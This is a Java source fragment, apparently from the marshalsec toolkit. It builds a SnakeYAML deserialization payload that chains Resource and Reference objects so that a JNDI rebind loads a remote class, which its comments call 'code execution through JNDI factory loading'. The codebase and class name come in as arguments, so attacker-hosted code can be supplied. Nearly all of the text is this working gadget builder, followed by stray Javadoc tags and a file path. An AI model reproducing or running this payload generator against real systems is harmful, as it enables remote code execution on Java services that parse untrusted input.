@Override
    @Args ( minArgs = 2, args = {
        "codebase", "classname"
    }, defaultArgs = {
        MarshallerBase.defaultCodebase, MarshallerBase.defaultCodebaseClass
    } )
    public Object makeResource ( UtilFactory uf, String[] args ) throws Exception {
        return writeArray(
            // bind to __/obj, this is actually the location where the NamingEntry for 'obj' would be stored
            // (which now is stored at __/__/obj)
            writeConstructor(
                Resource.class,
                true,
                writeString("__/obj"),
                // usual reference setup
                writeConstructor(Reference.class, true, writeString("foo"), writeString(args[ 1 ]), writeString(args[ 0 ]))),

            // rebind compound name subresource
            // this first tries to rebind the NamingEntry at the compound name __/obj/test
            // the lookup of the intermediate context __/obj yields the Reference bound before
            // --> code execution through JNDI factory loading
            writeConstructor(Resource.class, true, writeString("obj/test"), writeConstructor(Object.class, true)));
    }
{@inheritDoc}

@see marshalsec.gadgets.XBean#makeXBean(marshalsec.UtilFactory, java.lang.String[])
src/main/java/marshalsec/SnakeYAML.java